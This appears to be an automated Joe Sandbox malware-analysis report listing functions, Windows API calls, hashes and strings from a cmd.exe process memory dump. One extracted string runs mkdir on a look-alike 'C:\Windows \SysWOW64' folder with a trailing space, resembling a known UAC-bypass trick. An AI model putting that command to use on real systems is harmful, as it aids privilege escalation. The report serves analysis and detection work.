Associated: 00000006.00000002.2060498675.00007FF718D40000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.2060554341.00007FF718D72000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.2060574555.00007FF718D7D000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.2060574555.00007FF718D81000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.2060574555.00007FF718D8F000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.2060638788.00007FF718D99000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_7ff718d40000_alpha.jbxd

Similarity

API ID: Concurrency::cancel_current_taskmalloc
String ID:
API String ID: 1412018758-0
Opcode ID: 738c8df77e10b4e497db5d3a2d7ddec6b27d778605f8f6b2fdfcc597a874d2dd
Instruction ID: 9e08a03e03070ecb77d2cb7a2b6665314c1a04c152d55f1a04b591c84d755fa0
Opcode Fuzzy Hash: 738c8df77e10b4e497db5d3a2d7ddec6b27d778605f8f6b2fdfcc597a874d2dd
Instruction Fuzzy Hash: B1E0C941E59B1FA1FB193B627842178D2745F5E764E982531DD9D05382EE2CA09D8238

Function 00007FF718D4CD90 Relevance: 2.5, APIs: 2, Instructions: 30memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.API-MS-WIN-CORE-HEAP-L1-1-0(?,?,?,00007FF718D4B9A1,?,?,?,?,00007FF718D4D81A), ref: 00007FF718D4CDA6
HeapAlloc.API-MS-WIN-CORE-HEAP-L1-1-0(?,?,?,00007FF718D4B9A1,?,?,?,?,00007FF718D4D81A), ref: 00007FF718D4CDBD

Memory Dump Source

Source File: 00000006.00000002.2060522217.00007FF718D41000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FF718D40000, based on PE: true

Associated: 00000006.00000002.2060498675.00007FF718D40000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.2060554341.00007FF718D72000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.2060574555.00007FF718D7D000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.2060574555.00007FF718D81000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.2060574555.00007FF718D8F000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.2060638788.00007FF718D99000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_7ff718d40000_alpha.jbxd

Similarity

API ID: Heap$AllocProcess
String ID:
API String ID: 1617791916-0
Opcode ID: aa7e40b5d99d9a56d3058fd520baa9575a550189048c001a86f2540850faebe3
Instruction ID: 033659daa3aaa5e98109d821e65aae6ce5d3d0c1a1987554e33ccd3c4adf234f
Opcode Fuzzy Hash: aa7e40b5d99d9a56d3058fd520baa9575a550189048c001a86f2540850faebe3
Instruction Fuzzy Hash: 74F04B31A18B4686EB08AB05E841168FBB0FB9DB20BD89135D98A03354DF3CE44D8718

Function 00007FF718D54C1C Relevance: 1.5, APIs: 1, Instructions: 29COMMON

Download Yara Rule

APIs

exit.MSVCRT(?,?,00000000,00007FF718D61209), ref: 00007FF718D54C31

Memory Dump Source

Source File: 00000006.00000002.2060522217.00007FF718D41000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FF718D40000, based on PE: true

Associated: 00000006.00000002.2060498675.00007FF718D40000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.2060554341.00007FF718D72000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.2060574555.00007FF718D7D000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.2060574555.00007FF718D81000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.2060574555.00007FF718D8F000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.2060638788.00007FF718D99000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_7ff718d40000_alpha.jbxd

Similarity

API ID: exit
String ID:
API String ID: 2483651598-0
Opcode ID: 9ddfc09aa9d90f0088fd16abda3ebe38fb5bbbe8bdae055d7e84e31eac367ca0
Instruction ID: 363da56883751ff70acbec2ed3db043b7fb5537c26ed47cc3a06a0f76e9767ef
Opcode Fuzzy Hash: 9ddfc09aa9d90f0088fd16abda3ebe38fb5bbbe8bdae055d7e84e31eac367ca0
Instruction Fuzzy Hash: C1C01270708B4A47EB1C773164A1079D5755B4C211F845539C68681281DD28D40C8219

Function 00007FF718D55508 Relevance: 1.5, APIs: 1, Instructions: 17COMMON

Download Yara Rule

APIs

GetUserDefaultLCID.KERNELBASE(?,?,?,?,00007FF718D46F97), ref: 00007FF718D5550C

Memory Dump Source

Source File: 00000006.00000002.2060522217.00007FF718D41000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FF718D40000, based on PE: true

Associated: 00000006.00000002.2060498675.00007FF718D40000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.2060554341.00007FF718D72000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.2060574555.00007FF718D7D000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.2060574555.00007FF718D81000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.2060574555.00007FF718D8F000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.2060638788.00007FF718D99000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_7ff718d40000_alpha.jbxd

Similarity

API ID: DefaultUser
String ID:
API String ID: 3358694519-0
Opcode ID: 5d8fc4fa8e665926eb49570ec356dc21582dec5ebc006b351cd7b5a4e2c943bd
Instruction ID: 2516eaaa1b238ff67db580d8c14081a48363ec3cdec996f34653c72e2fe279e3
Opcode Fuzzy Hash: 5d8fc4fa8e665926eb49570ec356dc21582dec5ebc006b351cd7b5a4e2c943bd
Instruction Fuzzy Hash: 06E0C2A2D08F578BF7593E4160423B4D973CB6C7B2FC44132E68D812C04D2D284D522C

Function 00007FF718D52E44 Relevance: 1.3, APIs: 1, Instructions: 29COMMON

Download Yara Rule

APIs

memset.MSVCRT ref: 00007FF718D52E8B

Memory Dump Source

Source File: 00000006.00000002.2060522217.00007FF718D41000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FF718D40000, based on PE: true

Associated: 00000006.00000002.2060498675.00007FF718D40000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.2060554341.00007FF718D72000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.2060574555.00007FF718D7D000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.2060574555.00007FF718D81000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.2060574555.00007FF718D8F000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.2060638788.00007FF718D99000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_7ff718d40000_alpha.jbxd

Similarity

API ID: memset
String ID:
API String ID: 2221118986-0
Opcode ID: f77ccc38f2f42b08cf4ed255524ec50c837bf5ddba9254f495b6a2bfe7d154bb
Instruction ID: fe0838f0563912c0075f1662831a974878f4733b1de0f88c4cb74483d7f75235
Opcode Fuzzy Hash: f77ccc38f2f42b08cf4ed255524ec50c837bf5ddba9254f495b6a2bfe7d154bb
Instruction Fuzzy Hash: 3FF0B421B09B9940EB409756B540129D3A19B4CBF0B888335FABC47BC5DE3CD4598304

Non-executed Functions

Function 00007FF718D67F00 Relevance: 61.6, APIs: 28, Strings: 7, Instructions: 341memoryCOMMON

Download Yara Rule

APIs

GetStdHandle.API-MS-WIN-CORE-PROCESSENVIRONMENT-L1-1-0(?,?,?,?,?,?,?,?,00000000,00000000,0000237B,00000000,00000002,00002328,00000001,0000000A), ref: 00007FF718D67F44
_get_osfhandle.MSVCRT ref: 00007FF718D67F5C
GetConsoleScreenBufferInfo.API-MS-WIN-CORE-CONSOLE-L2-1-0(?,?,?,?,?,?,?,?,00000000,00000000,0000237B,00000000,00000002,00002328,00000001,0000000A), ref: 00007FF718D67F9E
AcquireSRWLockShared.API-MS-WIN-CORE-SYNCH-L1-1-0(?,?,?,?,?,?,?,?,00000000,00000000,0000237B,00000000,00000002,00002328,00000001,0000000A), ref: 00007FF718D67FFF
ReadConsoleW.API-MS-WIN-CORE-CONSOLE-L1-1-0(?,?,?,?,?,?,?,?,00000000,00000000,0000237B,00000000,00000002,00002328,00000001,0000000A), ref: 00007FF718D68020
ReleaseSRWLockShared.API-MS-WIN-CORE-SYNCH-L1-1-0(?,?,?,?,?,?,?,?,00000000,00000000,0000237B,00000000,00000002,00002328,00000001,0000000A), ref: 00007FF718D68036
GetProcessHeap.API-MS-WIN-CORE-HEAP-L1-1-0(?,?,?,?,?,?,?,?,00000000,00000000,0000237B,00000000,00000002,00002328,00000001,0000000A), ref: 00007FF718D68061
RtlFreeHeap.NTDLL ref: 00007FF718D68075
GetProcessHeap.API-MS-WIN-CORE-HEAP-L1-1-0(?,?,?,?,?,?,?,?,00000000,00000000,0000237B,00000000,00000002,00002328,00000001,0000000A), ref: 00007FF718D680D6
RtlFreeHeap.NTDLL ref: 00007FF718D680EA
_wcsnicmp.MSVCRT ref: 00007FF718D68177
_wcsnicmp.MSVCRT ref: 00007FF718D6819A
_wcsnicmp.MSVCRT ref: 00007FF718D681BD
_wcsnicmp.MSVCRT ref: 00007FF718D681DC
_wcsnicmp.MSVCRT ref: 00007FF718D681FB
_wcsnicmp.MSVCRT ref: 00007FF718D6821A
_wcsnicmp.MSVCRT ref: 00007FF718D68239
GetConsoleScreenBufferInfo.API-MS-WIN-CORE-CONSOLE-L2-1-0(?,?,?,?,?,?,?,?,00000000,00000000,0000237B,00000000,00000002,00002328,00000001,0000000A), ref: 00007FF718D68291
SetConsoleCursorPosition.API-MS-WIN-CORE-CONSOLE-L2-1-0(?,?,?,?,?,?,?,?,00000000,00000000,0000237B,00000000,00000002,00002328,00000001,0000000A), ref: 00007FF718D682D7
FillConsoleOutputCharacterW.API-MS-WIN-CORE-CONSOLE-L2-1-0(?,?,?,?,?,?,?,?,00000000,00000000,0000237B,00000000,00000002,00002328,00000001,0000000A), ref: 00007FF718D682FB
WriteConsoleW.API-MS-WIN-CORE-CONSOLE-L1-1-0(?,?,?,?,?,?,?,?,00000000,00000000,0000237B,00000000,00000002,00002328,00000001,0000000A), ref: 00007FF718D6831A
GetProcessHeap.API-MS-WIN-CORE-HEAP-L1-1-0(?,?,?,?,?,?,?,?,00000000,00000000,0000237B,00000000,00000002,00002328,00000001,0000000A), ref: 00007FF718D68364
RtlFreeHeap.NTDLL ref: 00007FF718D68378
GetProcessHeap.API-MS-WIN-CORE-HEAP-L1-1-0(?,?,?,?,?,?,?,?,00000000,00000000,0000237B,00000000,00000002,00002328,00000001,0000000A), ref: 00007FF718D6839A
HeapAlloc.API-MS-WIN-CORE-HEAP-L1-1-0(?,?,?,?,?,?,?,?,00000000,00000000,0000237B,00000000,00000002,00002328,00000001,0000000A), ref: 00007FF718D683AE
AcquireSRWLockShared.API-MS-WIN-CORE-SYNCH-L1-1-0(?,?,?,?,?,?,?,?,00000000,00000000,0000237B,00000000,00000002,00002328,00000001,0000000A), ref: 00007FF718D683E6
ReadConsoleW.API-MS-WIN-CORE-CONSOLE-L1-1-0(?,?,?,?,?,?,?,?,00000000,00000000,0000237B,00000000,00000002,00002328,00000001,0000000A), ref: 00007FF718D68403
ReleaseSRWLockShared.API-MS-WIN-CORE-SYNCH-L1-1-0(?,?,?,?,?,?,?,?,00000000,00000000,0000237B,00000000,00000002,00002328,00000001,0000000A), ref: 00007FF718D68418

Strings

pushd , xrefs: 00007FF718D68232
md , xrefs: 00007FF718D681B6
cd , xrefs: 00007FF718D68170
rd , xrefs: 00007FF718D68193
mkdir , xrefs: 00007FF718D68213
rmdir , xrefs: 00007FF718D681F4
chdir , xrefs: 00007FF718D681D5

Memory Dump Source

Source File: 00000006.00000002.2060522217.00007FF718D41000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FF718D40000, based on PE: true

Associated: 00000006.00000002.2060498675.00007FF718D40000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.2060554341.00007FF718D72000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.2060574555.00007FF718D7D000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.2060574555.00007FF718D81000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.2060574555.00007FF718D8F000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.2060638788.00007FF718D99000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_7ff718d40000_alpha.jbxd

Similarity

API ID: Heap$Console_wcsnicmp$LockProcessShared$Free$AcquireBufferInfoReadReleaseScreen$AllocCharacterCursorFillHandleOutputPositionWrite_get_osfhandle
String ID: cd $chdir $md $mkdir $pushd $rd $rmdir
API String ID: 3637805771-3100821235
Opcode ID: c15d10fa516844a3d30f6ee6566238d7eb90fade697e3424b0e4caa7a671d349
Instruction ID: 1624fd992df05dac8b1f7da137e34bb7508be44d7a4d201177b0d22f20a171ab
Opcode Fuzzy Hash: c15d10fa516844a3d30f6ee6566238d7eb90fade697e3424b0e4caa7a671d349
Instruction Fuzzy Hash: 46E19271A08F5A8AE714AB61E401179FAB1FB4DBA9BD48230DD9E53794DF3CA40CC724

Function 00007FF718D47650 Relevance: 42.5, APIs: 23, Strings: 1, Instructions: 461fileCOMMON

Download Yara Rule

APIs

memset.MSVCRT ref: 00007FF718D476E5

Part of subcall function 00007FF718D4CA40: memset.MSVCRT ref: 00007FF718D4CAB3

_get_osfhandle.MSVCRT ref: 00007FF718D47745
GetFileSize.API-MS-WIN-CORE-FILE-L1-1-0 ref: 00007FF718D47759
_get_osfhandle.MSVCRT ref: 00007FF718D4776C
SetFilePointer.API-MS-WIN-CORE-FILE-L1-1-0 ref: 00007FF718D47783
_get_osfhandle.MSVCRT ref: 00007FF718D477A3
ReadFile.API-MS-WIN-CORE-FILE-L1-1-0 ref: 00007FF718D477C9
??_V@YAXPEAX@Z.MSVCRT ref: 00007FF718D47808
wcsrchr.MSVCRT ref: 00007FF718D649BE
_wcsnicmp.MSVCRT ref: 00007FF718D64A02
SearchPathW.API-MS-WIN-CORE-PROCESSENVIRONMENT-L1-1-0 ref: 00007FF718D64A81

Part of subcall function 00007FF718D501B8: _get_osfhandle.MSVCRT ref: 00007FF718D501C4
Part of subcall function 00007FF718D501B8: GetFileType.API-MS-WIN-CORE-FILE-L1-1-0(?,?,?,00007FF718D5E904,?,?,?,?,00000000,00007FF718D53491,?,?,?,00007FF718D64420), ref: 00007FF718D501D6

Strings

DPATH, xrefs: 00007FF718D6499A

Memory Dump Source

Source File: 00000006.00000002.2060522217.00007FF718D41000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FF718D40000, based on PE: true

Associated: 00000006.00000002.2060498675.00007FF718D40000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.2060554341.00007FF718D72000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.2060574555.00007FF718D7D000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.2060574555.00007FF718D81000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.2060574555.00007FF718D8F000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.2060638788.00007FF718D99000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_7ff718d40000_alpha.jbxd

Similarity

API ID: File_get_osfhandle$memset$PathPointerReadSearchSizeType_wcsnicmpwcsrchr
String ID: DPATH
API String ID: 95024817-2010427443
Opcode ID: 453260b4bb9689c464f7ee8a055c2a7ad3bf1f5e95a95e4c5e119382bbbdb6fa
Instruction ID: d80d5a8d6824c30011bb5958682cb3915ea634037319e34e1d7305702a6e703c
Opcode Fuzzy Hash: 453260b4bb9689c464f7ee8a055c2a7ad3bf1f5e95a95e4c5e119382bbbdb6fa
Instruction Fuzzy Hash: 6512B332A08F8A86E764AF15A4401B9F6A2FB8D764FD45135EA8E53794DF3CE40C8B14

Function 00007FF718D6EE88 Relevance: 30.0, APIs: 15, Strings: 2, Instructions: 225COMMON

Download Yara Rule

APIs

_wcsupr.MSVCRT ref: 00007FF718D6EF33
LocalFree.API-MS-WIN-CORE-HEAP-L2-1-0(?,?,?,?,?,?,00000002,00000000,?,?,0000002F,00007FF718D6E964), ref: 00007FF718D6EF98
GetStdHandle.API-MS-WIN-CORE-PROCESSENVIRONMENT-L1-1-0(?,?,?,?,?,?,00000002,00000000,?,?,0000002F,00007FF718D6E964), ref: 00007FF718D6EFA9
GetConsoleMode.API-MS-WIN-CORE-CONSOLE-L1-1-0(?,?,?,?,?,?,00000002,00000000,?,?,0000002F,00007FF718D6E964), ref: 00007FF718D6EFBF
SetConsoleMode.API-MS-WIN-CORE-CONSOLE-L1-1-0 ref: 00007FF718D6EFDC
GetStdHandle.API-MS-WIN-CORE-PROCESSENVIRONMENT-L1-1-0(?,?,?,?,?,?,00000002,00000000,?,?,0000002F,00007FF718D6E964), ref: 00007FF718D6EFED
GetConsoleMode.API-MS-WIN-CORE-CONSOLE-L1-1-0(?,?,?,?,?,?,00000002,00000000,?,?,0000002F,00007FF718D6E964), ref: 00007FF718D6F003
SetConsoleMode.API-MS-WIN-CORE-CONSOLE-L1-1-0(?,?,?,?,?,?,00000002,00000000,?,?,0000002F,00007FF718D6E964), ref: 00007FF718D6F022
GetStdHandle.API-MS-WIN-CORE-PROCESSENVIRONMENT-L1-1-0(?,?,?,?,?,?,00000002,00000000,?,?,0000002F,00007FF718D6E964), ref: 00007FF718D6F083
FlushConsoleInputBuffer.API-MS-WIN-CORE-CONSOLE-L2-1-0(?,?,?,?,?,?,00000002,00000000,?,?,0000002F,00007FF718D6E964), ref: 00007FF718D6F092
GetStdHandle.API-MS-WIN-CORE-PROCESSENVIRONMENT-L1-1-0(?,?,?,?,?,?,00000002,00000000,?,?,0000002F,00007FF718D6E964), ref: 00007FF718D6F0A5
towupper.MSVCRT(?,?,?,?,?,?), ref: 00007FF718D6F0DB
wcschr.MSVCRT(?,?,?,?,?,?,00000002,00000000,?,?,0000002F,00007FF718D6E964), ref: 00007FF718D6F135
SetConsoleMode.API-MS-WIN-CORE-CONSOLE-L1-1-0(?,?,?,?,?,?,00000002,00000000,?,?,0000002F,00007FF718D6E964), ref: 00007FF718D6F16C
SetConsoleMode.API-MS-WIN-CORE-CONSOLE-L1-1-0(?,?,?,?,?,?,00000002,00000000,?,?,0000002F,00007FF718D6E964), ref: 00007FF718D6F185

Part of subcall function 00007FF718D501B8: _get_osfhandle.MSVCRT ref: 00007FF718D501C4
Part of subcall function 00007FF718D501B8: GetFileType.API-MS-WIN-CORE-FILE-L1-1-0(?,?,?,00007FF718D5E904,?,?,?,?,00000000,00007FF718D53491,?,?,?,00007FF718D64420), ref: 00007FF718D501D6

Strings

<noalias>, xrefs: 00007FF718D6F03C
CMD.EXE, xrefs: 00007FF718D6F19D

Memory Dump Source

Source File: 00000006.00000002.2060522217.00007FF718D41000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FF718D40000, based on PE: true

Associated: 00000006.00000002.2060498675.00007FF718D40000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.2060554341.00007FF718D72000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.2060574555.00007FF718D7D000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.2060574555.00007FF718D81000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.2060574555.00007FF718D8F000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.2060638788.00007FF718D99000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_7ff718d40000_alpha.jbxd

Similarity

API ID: Console$Mode$Handle$BufferFileFlushFreeInputLocalType_get_osfhandle_wcsuprtowupperwcschr
String ID: <noalias>$CMD.EXE
API String ID: 1161012917-1690691951
Opcode ID: f8298d22c9df71f240bd9e1abb4a97c4f8b0018ea53697e3e253b80e8643b65e
Instruction ID: da441310c98a3805eb8cccd45e034b48561ae853b1bb52edc4942ed6a163c0ce
Opcode Fuzzy Hash: f8298d22c9df71f240bd9e1abb4a97c4f8b0018ea53697e3e253b80e8643b65e
Instruction Fuzzy Hash: 87917021B09F5A8AFB04AB60E4411BDFAB0AF4DB78FD84135DD8E42695DF3CA44D8324

Function 00007FF718D46EE4 Relevance: 28.3, APIs: 13, Strings: 3, Instructions: 342timeCOMMON

Download Yara Rule

APIs

GetSystemTime.API-MS-WIN-CORE-SYSINFO-L1-1-0 ref: 00007FF718D46F34
SystemTimeToFileTime.API-MS-WIN-CORE-TIMEZONE-L1-1-0 ref: 00007FF718D46F49
FileTimeToLocalFileTime.API-MS-WIN-CORE-FILE-L1-1-0 ref: 00007FF718D46F5F
FileTimeToSystemTime.API-MS-WIN-CORE-TIMEZONE-L1-1-0 ref: 00007FF718D46F74
realloc.MSVCRT ref: 00007FF718D64327

Part of subcall function 00007FF718D55508: GetUserDefaultLCID.KERNELBASE(?,?,?,?,00007FF718D46F97), ref: 00007FF718D5550C

GetLocaleInfoW.API-MS-WIN-CORE-LOCALIZATION-L1-2-0 ref: 00007FF718D46FA8
memmove.MSVCRT ref: 00007FF718D4702F
GetDateFormatW.API-MS-WIN-CORE-DATETIME-L1-1-0 ref: 00007FF718D47064

Strings

%s %s , xrefs: 00007FF718D64400
%s , xrefs: 00007FF718D643ED
%02d%s%02d%s%02d, xrefs: 00007FF718D64355

Memory Dump Source

Source File: 00000006.00000002.2060522217.00007FF718D41000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FF718D40000, based on PE: true

Associated: 00000006.00000002.2060498675.00007FF718D40000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.2060554341.00007FF718D72000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.2060574555.00007FF718D7D000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.2060574555.00007FF718D81000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.2060574555.00007FF718D8F000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.2060638788.00007FF718D99000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_7ff718d40000_alpha.jbxd

Similarity

API ID: Time$File$System$DateDefaultFormatInfoLocalLocaleUsermemmoverealloc
String ID: %02d%s%02d%s%02d$%s $%s %s
API String ID: 1795611712-4023967598
Opcode ID: 74249970fbf2e4b7620cc53d3e0e908d97b29c4ace187a61a8b0bb0729ed9366
Instruction ID: dc5853c369473a6ca7146477d47e6b641267fcdc98bdec7d86edeacd82947d90
Opcode Fuzzy Hash: 74249970fbf2e4b7620cc53d3e0e908d97b29c4ace187a61a8b0bb0729ed9366
Instruction Fuzzy Hash: 44E1B021A08F4E86FB10AF64A8411B9E6B2FF4D7A4FD44132D98E47695DF3CE50C8368

Function 00007FF718D41560 Relevance: 26.6, APIs: 14, Strings: 1, Instructions: 338fileCOMMON

Download Yara Rule

APIs

memset.MSVCRT ref: 00007FF718D415BD

Part of subcall function 00007FF718D4CA40: memset.MSVCRT ref: 00007FF718D4CAB3

FindFirstFileW.API-MS-WIN-CORE-FILE-L1-1-0 ref: 00007FF718D41620
FindClose.API-MS-WIN-CORE-FILE-L1-1-0 ref: 00007FF718D41638
FindFirstFileW.API-MS-WIN-CORE-FILE-L1-1-0 ref: 00007FF718D416C0

Part of subcall function 00007FF718D41560: FindNextFileW.API-MS-WIN-CORE-FILE-L1-1-0 ref: 00007FF718D417F0
Part of subcall function 00007FF718D41560: FindClose.API-MS-WIN-CORE-FILE-L1-1-0 ref: 00007FF718D4180C
Part of subcall function 00007FF718D41560: ??_V@YAXPEAX@Z.MSVCRT ref: 00007FF718D4183E

GetLastError.API-MS-WIN-CORE-ERRORHANDLING-L1-1-0 ref: 00007FF718D5AC35
SetFileAttributesW.API-MS-WIN-CORE-FILE-L1-1-0 ref: 00007FF718D5AC68

Strings

\\?\, xrefs: 00007FF718D5AC99

Memory Dump Source

Source File: 00000006.00000002.2060522217.00007FF718D41000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FF718D40000, based on PE: true

Associated: 00000006.00000002.2060498675.00007FF718D40000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.2060554341.00007FF718D72000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.2060574555.00007FF718D7D000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.2060574555.00007FF718D81000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.2060574555.00007FF718D8F000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.2060638788.00007FF718D99000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_7ff718d40000_alpha.jbxd

Similarity

API ID: Find$File$CloseFirstmemset$AttributesErrorLastNext
String ID: \\?\
API String ID: 628682198-4282027825
Opcode ID: ab4f5c44bb3b2f47c3e9ebd780c12a08782b375ce868dac15c085b2dd5d8372f
Instruction ID: 9d4a8968559c1dc6bc7335e06564c5eaa3cb9701485c5ccd492a6a85f30ae9d8
Opcode Fuzzy Hash: ab4f5c44bb3b2f47c3e9ebd780c12a08782b375ce868dac15c085b2dd5d8372f
Instruction Fuzzy Hash: 48E18131B08F8A96EF64AB24D8502F9E3A0FB49769F844135D98E46B94EF3CD54DC314

Function 00007FF718D4CE10 Relevance: 24.8, APIs: 12, Strings: 2, Instructions: 337COMMON

Download Yara Rule

APIs

_tell.MSVCRT ref: 00007FF718D4CEAF
memset.MSVCRT ref: 00007FF718D4CF5C
_wcsicmp.MSVCRT ref: 00007FF718D4CFAE
GetConsoleOutputCP.API-MS-WIN-CORE-CONSOLE-L1-1-0 ref: 00007FF718D4D003
GetCPInfo.API-MS-WIN-CORE-LOCALIZATION-L1-2-0 ref: 00007FF718D4D01E
??_V@YAXPEAX@Z.MSVCRT ref: 00007FF718D4D044
EnterCriticalSection.API-MS-WIN-CORE-SYNCH-L1-1-0 ref: 00007FF718D5C889
LeaveCriticalSection.API-MS-WIN-CORE-SYNCH-L1-1-0 ref: 00007FF718D5C8A2

Strings

GOTO, xrefs: 00007FF718D4D0A3
mkdir "\\?\C:\Windows \SysWOW64" , xrefs: 00007FF718D5C9F1

Memory Dump Source

Source File: 00000006.00000002.2060522217.00007FF718D41000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FF718D40000, based on PE: true

Associated: 00000006.00000002.2060498675.00007FF718D40000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.2060554341.00007FF718D72000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.2060574555.00007FF718D7D000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.2060574555.00007FF718D81000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.2060574555.00007FF718D8F000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.2060638788.00007FF718D99000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_7ff718d40000_alpha.jbxd

Similarity

API ID: CriticalSection$ConsoleEnterInfoLeaveOutput_tell_wcsicmpmemset
String ID: GOTO$mkdir "\\?\C:\Windows \SysWOW64"
API String ID: 3863671652-2385155047
Opcode ID: 8a7ebebe1ccbf711eb435a48e2ca9f96987f67b530ed60dee1bcce27abdacbd9
Instruction ID: ade3d96499f3b27a5069a8f1ff62a733d8c024913b94394ff0027fd4d4be5dd5
Opcode Fuzzy Hash: 8a7ebebe1ccbf711eb435a48e2ca9f96987f67b530ed60dee1bcce27abdacbd9
Instruction Fuzzy Hash: 43E1DD31A09F4A86FB64BB159444379E6A0AF4D774FD84236C98E43AD1DF3CE84D8728

Function 00007FF718D71538 Relevance: 19.7, APIs: 13, Instructions: 169filememorynativeCOMMON

Download Yara Rule

APIs

Part of subcall function 00007FF718D71408: GetFullPathNameW.API-MS-WIN-CORE-FILE-L1-1-0 ref: 00007FF718D7142A
Part of subcall function 00007FF718D71408: SetLastError.API-MS-WIN-CORE-ERRORHANDLING-L1-1-0 ref: 00007FF718D7144F

Part of subcall function 00007FF718D71408: GetFullPathNameW.API-MS-WIN-CORE-FILE-L1-1-0 ref: 00007FF718D7146C

SetLastError.API-MS-WIN-CORE-ERRORHANDLING-L1-1-0 ref: 00007FF718D715A8
CreateDirectoryW.API-MS-WIN-CORE-FILE-L1-1-0 ref: 00007FF718D715D1
CreateFileW.API-MS-WIN-CORE-FILE-L1-1-0 ref: 00007FF718D7160B
RtlDosPathNameToNtPathName_U.NTDLL ref: 00007FF718D71635
memset.MSVCRT ref: 00007FF718D71677
